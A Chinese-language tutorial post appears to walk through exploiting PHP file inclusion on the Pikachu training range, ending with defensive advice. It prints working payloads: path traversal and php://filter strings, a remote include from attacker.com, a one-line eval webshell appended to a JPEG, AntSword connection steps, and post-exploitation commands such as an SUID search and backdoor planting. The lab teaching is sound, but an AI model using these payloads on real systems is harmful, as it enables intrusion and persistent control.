news 2026/7/10 3:31:10

文件包含漏洞实战:从Pikachu靶场到蚁剑WebShell的完整渗透链条

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
文件包含漏洞实战:从Pikachu靶场到蚁剑WebShell的完整渗透链条

1. 项目概述:一次完整的文件包含漏洞实战演练

最近在带新人做渗透测试基础训练,发现很多朋友对文件包含漏洞的理解还停留在“读取/etc/passwd”的层面,实战中遇到稍微复杂点的场景就无从下手了。正好,Pikachu靶场的文件包含模块设计得相当经典,它模拟了真实环境中开发者可能犯的多种错误。这次,我就以这个靶场为例,带你走一遍从漏洞发现、源码审计、到最终利用蚁剑获取WebShell的完整链条。这不仅仅是“打靶”,更是理解漏洞原理、掌握渗透思路的过程。无论你是刚入门的安全爱好者,还是想巩固基础的从业者,这篇记录都能帮你把文件包含这个看似简单实则变化多端的漏洞玩出花来。

文件包含漏洞,本质上是应用程序在引入外部文件时,未对用户输入进行严格过滤,导致攻击者可以包含并执行任意文件。在PHP环境中,这通常涉及includerequireinclude_oncerequire_once这些函数。Pikachu靶场巧妙地将本地文件包含与远程文件包含场景分开,并设置了不同的过滤条件,为我们提供了绝佳的练手环境。我们这次的目标很明确:不仅要看到漏洞现象,更要理解背后的代码逻辑,并运用多种技术手段,最终实现命令执行和持久化控制。

2. 环境搭建与漏洞点初探

2.1 Pikachu靶场部署要点

首先,你得有一个能运行的Pikachu靶场。它本质上是一个PHP网站,所以你需要一个Web服务器环境(如Apache或Nginx)和PHP解析器。我强烈建议使用Docker或集成环境(如PHPStudy、XAMPP)来部署,这样可以避免因环境配置差异导致的“靶场能访问但漏洞无法复现”的尴尬情况。

注意:部署时,请确保你的PHP版本与Pikachu靶场兼容。通常PHP 5.x 到 7.x 的版本都可以。过高的PHP版本(如8.0+)可能因为某些函数被移除或默认配置更严格而导致部分漏洞无法触发。我个人的测试环境是 Apache 2.4 + PHP 7.3。

将下载的Pikachu源码包解压到Web服务器的根目录(例如htdocswww目录下)。访问http://你的IP/pikachu,按照页面提示初始化数据库即可。部署成功后,你可以在左侧菜单栏的“漏洞类型”下找到“File Inclusion(文件包含)”模块。这里通常包含三个子项:File Inclusion(local)File Inclusion(remote)和可能存在的其他变种。我们的主战场就是前两个。

2.2 漏洞界面与功能分析

点击进入“File Inclusion(local)”,你会看到一个非常简单的文件查看功能。页面上可能有一个下拉菜单或输入框,让你选择或提交一个文件名(如file1.phpfile2.phpfile3.php),然后页面会显示对应文件的内容。作为攻击者,我们的第一反应是:这个文件名参数是如何传递给后端程序的?它被用在哪个函数里?有没有过滤?

直接查看网页源代码,或者用浏览器的开发者工具(F12)查看网络请求,我们可以发现关键点:通常,文件名是通过URL的GET参数传递的,例如?filename=file1.php。这个filename参数,就是我们的突破口。一个安全的程序应该将用户输入限制在预定义的白名单内(比如只允许file1,file2,file3),或者至少过滤掉../http://等危险字符。但Pikachu的本地包含漏洞点,故意留下了缺陷。

2.3 初步测试与漏洞确认

最基础的测试就是尝试路径遍历。在输入框或URL参数中,不直接提交file1.php,而是尝试提交../../../../etc/passwd。如果页面返回了Linux系统的用户列表,那么本地文件包含漏洞就坐实了。这一步的意义在于确认漏洞的存在性和可利用性。但仅仅读取/etc/passwd是远远不够的,这只是“漏洞证明”,离“getshell”还差得远。我们的思路需要更进一步:能否利用这个漏洞,读取到网站本身的源码?因为源码里可能包含数据库配置、其他敏感接口,甚至是帮助我们进一步利用的线索。

3. 源码读取与漏洞原理深度剖析

3.1 利用漏洞读取网站源码

在PHP中,如果我们直接包含一个.php文件,它会被服务器执行,我们看到的是执行后的HTML结果,而不是源代码。为了读取源码,我们需要利用PHP内置的封装协议。最常用的就是php://filter

我们可以构造这样的Payload:?filename=php://filter/read=convert.base64-encode/resource=目标文件.php

这个Payload的原理是:php://filter是一个元封装器,它可以对数据流进行过滤处理。read=convert.base64-encode表示以Base64编码的方式读取资源。resource=后面跟的是我们想读取的文件路径。服务器会尝试打开这个“文件”,但由于我们使用了过滤器,它不会执行PHP代码,而是将文件的原始内容(即源代码)进行Base64编码后输出。我们在页面上看到的就是一串Base64字符串,将其解码就能得到清晰的PHP源代码。

在Pikachu本地包含漏洞点,我们可以尝试读取当前漏洞文件本身的源码,来理解其逻辑。通常,这类练习文件的路径是相对固定的。我们可以尝试:?filename=php://filter/read=convert.base64-encode/resource=fileinclude.php或者结合路径遍历猜测路径:?filename=php://filter/read=convert.base64-encode/resource=../../../vul/fileinclude/fileinclude.php

将页面返回的Base64字符串复制出来,在线或本地用Base64解码工具解码,你就能看到类似下面的关键代码片段:

if(isset($_GET['submit']) && $_GET['filename']!=null){ $filename=$_GET['filename']; // 这里可能有一些简单的过滤,但被我们绕过了 include $filename; }

代码逻辑一目了然:程序直接接收filename参数,未经充分过滤就交给了include函数。这就是漏洞的根源。在真实环境中,代码可能更复杂,过滤可能更多,但原理相通。

3.2 远程文件包含与更危险的利用

Pikachu的“File Inclusion(remote)”模块通常模拟了另一种场景:程序允许包含远程服务器上的文件。这需要php.iniallow_url_include配置为On(在早期PHP版本中默认可能是开启的,现在通常默认关闭)。远程文件包含的危害性更大,因为它允许攻击者直接包含托管在可控服务器上的恶意脚本。

测试远程包含是否开启,可以尝试:?filename=http://你的攻击机IP/test.txt。如果页面成功包含了你的test.txt文件内容,则证明漏洞存在。更高级的利用是,我们可以在攻击机上放置一个包含PHP代码的文本文件(但后缀可以是.txt),因为只要内容被include,其中的PHP代码就会被目标服务器执行。例如,在攻击机的http://attacker.com/shell.txt中写入<?php phpinfo();?>,然后让目标包含它,如果成功,就会执行phpinfo()函数。

实操心得:在实际渗透测试中,allow_url_include关闭是常态。因此,本地文件包含是更常见的突破口。我们的重点也应该放在如何通过本地文件包含实现代码执行,这就需要用到“文件上传”或“日志注入”等组合技。

4. 组合利用:从文件包含到代码执行

4.1 利用思路与条件准备

单纯的本地文件包含只能读取文件,要执行系统命令,我们必须让服务器包含一个包含我们可控PHP代码的文件。在无法上传文件的情况下,我们需要寻找服务器上已经存在的、内容可被我们部分控制或预测的文件。常见的“跳板”文件有:

  1. Web日志:Apache的access.log或 Nginx的access.log。当我们的请求被记录时,如果我们在User-Agent或Referer中插入PHP代码,这些代码就会被写入日志文件。然后我们通过文件包含漏洞去包含这个日志文件,其中的PHP代码就会被执行。
  2. Session文件:PHP的Session文件通常存储在/tmp或特定目录下,文件名如sess_[sessionid]。如果我们能控制Session的内容(例如,通过网站的表单设置一个包含PHP代码的Session变量),那么Session文件中就会包含我们的代码。
  3. 其他临时文件或缓存文件:一些应用框架会生成缓存文件,内容可能部分可控。

在Pikachu靶场中,为了简化实验,它可能直接提供了一个文件上传点,或者我们可以利用其他漏洞(比如文件上传漏洞)先传一个图片马上去。这里我们假设一个更贴近实战的场景:靶场存在一个图片上传功能,但对文件内容检查不严,我们可以上传一个包含PHP代码的图片文件(图片马)。

4.2 制作与上传图片WebShell

首先,我们制作一个图片马。在一张正常的图片(如test.jpg)末尾,追加我们的PHP代码。可以使用Linux命令:

cp test.jpg shell.jpg echo '<?php @eval($_POST["cmd"]);?>' >> shell.jpg

这样,shell.jpg看起来还是图片,但末尾包含了一句话木马。然后,我们找到靶场的上传点,上传这个shell.jpg。如果上传成功,并且服务器返回了文件的访问路径,例如http://target.com/uploads/shell.jpg,我们就完成了第一步。

注意事项:现代WAF或安全软件可能会检测文件头。更隐蔽的做法是使用工具将PHP代码写入图片的EXIF信息等数据区,或者直接编辑二进制文件,在文件头(如FFD8FFE0 for JPEG)之后的某个空闲区域插入代码,这样不影响图片正常显示。但对于Pikachu靶场,简单的追加通常就足够了。

4.3 触发包含并执行代码

现在我们手头有:

  1. 一个本地文件包含漏洞点:http://target.com/vul/fileinclude/?filename=
  2. 一个我们上传的、路径已知的图片马:/uploads/shell.jpg

接下来就是组合利用。我们通过文件包含漏洞去包含这个图片马:?filename=../../../uploads/shell.jpg。因为include函数会解析被包含文件中的PHP代码,所以当我们访问这个URL时,服务器会执行shell.jpg末尾的<?php @eval($_POST["cmd"]);?>代码。

如何验证代码执行了呢?我们可以通过传递POST参数来测试。使用浏览器插件(如HackBar)或命令行工具curl来发送POST请求。例如:

POST /vul/fileinclude/?filename=../../../uploads/shell.jpg HTTP/1.1 ... cmd=phpinfo();

如果页面返回了PHP信息页,恭喜你,你已经成功在目标服务器上执行了任意PHP代码,相当于获得了WebShell的“能力”。eval($_POST["cmd"])意味着我们可以通过cmd这个POST参数传递任何PHP代码去执行。

5. 蚁剑连接与持久化控制

5.1 为什么选择蚁剑?

虽然通过POST传参可以执行命令,但这种方式交互性差,不方便文件管理、数据库操作等。中国蚁剑是一个图形化、功能强大的WebShell管理工具。它支持多种Shell类型(PHP、JSP、ASP等),提供文件管理、虚拟终端、数据库管理、插件扩展等一站式功能,极大提升了后渗透阶段的效率。

我们需要将刚才的“一句话木马”升级为蚁剑可以连接的“标准Shell”。实际上,我们上传的<?php @eval($_POST["cmd"]);?>就是蚁剑支持的PHP一句话木马的一种形式。蚁剑连接时,会通过这个参数传递它自己的加密代码,实现丰富的功能。

5.2 配置与连接蚁剑

首先,确保你从正规渠道下载了蚁剑。启动蚁剑,右键点击空白处,选择“添加数据”。

  • URL地址:填写我们包含图片马后能执行代码的完整URL,即http://target.com/vul/fileinclude/?filename=../../../uploads/shell.jpg。注意,这里是包含漏洞的URL,不是图片本身的直接URL。
  • 连接密码:填写cmd。这是我们一句话木马中$_POST["cmd"]的参数名,蚁剑将通过这个参数传递数据。
  • 编码器:通常选择default(默认)即可。如果连接不稳定或目标环境有特殊限制,可以尝试base64rot13等其他编码器。
  • Shell类型:选择PHP

填写完毕后,点击“添加”。然后双击新添加的这条记录。如果一切配置正确,蚁剑会尝试连接。连接成功后,左侧会显示目标服务器的目录结构。

5.3 常见连接问题排查

连接失败是新手常遇到的问题,可以从以下几个方面排查:

  1. Shell是否存活:首先用浏览器或curl单独访问包含漏洞的URL,并POST一个简单的命令如cmd=echo 'test';,看是否有回显。确保代码执行功能正常。
  2. 路径问题filename参数中的相对路径../../../uploads/shell.jpg可能不对。需要根据靶场的实际目录结构进行调整。可以使用cmd=print_r(scandir('.'));这样的命令来列出当前目录文件,帮助你定位uploads目录的正确相对路径。
  3. 编码器与免杀:默认编码器可能被目标服务器的安全软件拦截。尝试在蚁剑的Shell配置中更换编码器,例如使用base64编码器。蚁剑的流量特征比较明显,在真实环境中可能需要自定义编码器或使用免杀马。
  4. HTTPS与证书:如果目标使用HTTPS,确保URL以https://开头。如果证书不受信任,可能需要在蚁剑设置中忽略证书错误。
  5. 一句话木马被破坏:确保图片马中的PHP代码完整且无误。特别是<?php ... ?>标签和分号。有时文件包含时,图片中的其他二进制字符可能导致PHP解析器出错。可以尝试制作一个纯文本的.txt文件,里面只写一句话木马,然后利用文件包含去包含它(如果服务器配置允许包含非PHP文件的话)。
问题现象可能原因排查步骤
蚁剑提示“连接失败”或超时1. Shell URL无法访问
2. 网络不通
3. 防火墙拦截
1. 浏览器直接访问URL,确认服务可达。
2. Ping/Telnet目标端口。
3. 检查本地与目标网络策略。
蚁剑连接后显示空白或错误1. 一句话木马未执行
2. 路径错误,包含的不是木马文件
3. PHP代码被破坏
1. 用简单POST测试代码执行。
2. 使用scandir命令检查目录和文件。
3. 重新制作木马文件,确保代码纯净。
执行命令无回显1. 代码执行被禁用(如disable_functions
2. 安全模式
3. 命令本身无输出
1. 执行phpinfo();查看PHP配置。
2. 尝试执行echo 'test';
3. 检查命令语法。

5.4 持久化与权限提升

成功连接蚁剑后,我们相当于有了一个低权限的WebShell(通常以Web服务器进程用户身份运行,如www-datanginxapache)。接下来要做的是:

  1. 信息收集:查看系统信息、网络配置、当前用户、运行的服务等。蚁剑的“虚拟终端”可以方便地执行系统命令如whoamiidifconfignetstat -antp等。
  2. 寻找提权路径:检查是否有SUID权限的特殊文件(find / -perm -u=s -type f 2>/dev/null),查看内核版本是否有已知漏洞,检查sudo -l看当前用户能以哪些特权身份运行命令。
  3. 文件管理:上传更稳定的后门脚本,或者向网站目录写入一个新的、更隐蔽的WebShell文件。可以通过蚁剑的文件管理功能直接操作。
  4. 内网渗透:如果服务器在内网,可以尝试利用它作为跳板,进一步探测和攻击内网其他机器。蚁剑支持Socket代理等功能。
  5. 清理痕迹:谨慎操作,避免在日志中留下过于明显的攻击记录。但Pikachu是靶场,这一步可以忽略。

6. 漏洞防御与安全开发建议

通过这次完整的演练,我们不仅学会了攻击,更要理解如何防御。文件包含漏洞的根源在于“信任了用户的输入”。以下是一些关键的防御措施:

  1. 白名单策略:这是最有效的方法。不要根据用户输入动态包含文件。如果必须动态包含,应基于一个预设的白名单进行映射。例如,定义一个数组$allowed_files = ['news' => 'news.php', 'about' => 'about.php'];,用户只允许传递key,程序根据key从数组中取出对应的真实文件名进行包含。
  2. 严格过滤输入:如果白名单难以实现,必须对用户输入进行严格过滤。过滤所有可能的目录遍历字符(../..\%2e%2e%2f等编码形式)和远程协议头(http://https://ftp://php://data://等)。但过滤规则容易被绕过,因此不如白名单可靠。
  3. 设置PHP安全配置:在php.ini中,确保allow_url_fopenallow_url_include设置为Off,以禁用远程文件包含。设置open_basedir将PHP可操作的文件限制在网站根目录及其子目录下,防止跨目录访问敏感系统文件。
  4. 避免动态包含:重新评估代码设计,是否真的需要动态包含文件?很多时候可以通过路由或其他设计模式来避免。
  5. 使用安全的函数:在包含文件时,尽量使用requireinclude_once变体,并配合绝对路径。避免使用来自$_GET$_POST$_COOKIE等超全局变量的值直接作为包含路径。

文件包含漏洞的利用方式远不止本文提到的这些。在更复杂的环境里,可能会结合PHP序列化、PHP Stream包装器、expect://协议、input://协议等进行利用,甚至与SSRF漏洞结合。理解其核心原理——“将不可信输入传递给文件包含函数”——才能以不变应万变,无论是攻击还是防御。在Pikachu靶场的练习只是起点,多动手、多思考、多阅读优秀的漏洞分析报告,才能在这个领域不断精进。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/7/10 3:29:24

XUnity Auto Translator:Unity游戏实时翻译与AI本地化实战指南

1. 项目概述&#xff1a;为什么我们需要XUnity Auto Translator&#xff1f;如果你是一名热爱独立游戏或日系RPG的玩家&#xff0c;或者是一位需要将游戏本地化的开发者&#xff0c;那么你一定对游戏内那些“生肉”文本感到头疼。直接修改游戏资源文件不仅繁琐&#xff0c;而且…

作者头像 李华
网站建设 2026/7/10 3:28:48

vLLM在macOS和Windows上部署实战指南

1. 项目概述&#xff1a;为什么在 macOS/Windows 上跑 vLLM 不是“理所当然”的事vLLM 这个名字&#xff0c;最近半年在大模型工程圈里几乎成了“吞吐量”和“显存效率”的代名词。它用 PagedAttention 技术把 KV Cache 像操作系统管理内存页一样切片、复用、按需加载&#xff…

作者头像 李华
网站建设 2026/7/10 3:27:37

面向生成式 UI 的 Prompt 工程:从布局描述到可渲染 JSX 的映射协议

面向生成式 UI 的 Prompt 工程&#xff1a;从布局描述到可渲染 JSX 的映射协议 一、生成式 UI 的输入输出鸿沟&#xff1a;自然语言与结构化代码的语义偏移 生成式 UI 的理想路径是&#xff1a;用自然语言描述界面需求&#xff0c;AI 直接生成可渲染的前端代码。但实际落地过…

作者头像 李华
网站建设 2026/7/10 3:27:33

项目基线项目使用指南

刚接触项目管理的同学&#xff0c;大概率都遇到过这些困扰&#xff1a;定好了任务排期&#xff0c;中途因为变更到最后已经记不清最初的计划时间&#xff1b;想统计任务进展&#xff0c;只能翻历史表格、聊天记录手动核对&#xff0c;费时费力还容易算错&#xff1b;调整排期后…

作者头像 李华
网站建设 2026/7/10 3:25:15

2026职场人写总结报告,选哪款AI软件的免费额度够用不踩雷

先说明白核心判断 针对2026职场人整理素材写总结报告的需求&#xff0c;仅使用免费额度就能满足需求且不踩雷的选项&#xff0c;可按场景选&#xff1a;本身用飞书生态只需要基础转写选飞书妙记&#xff0c;需要AI结构化提炼会议、客户拜访内容直接复用进总结的&#xff0c;听脑…

作者头像 李华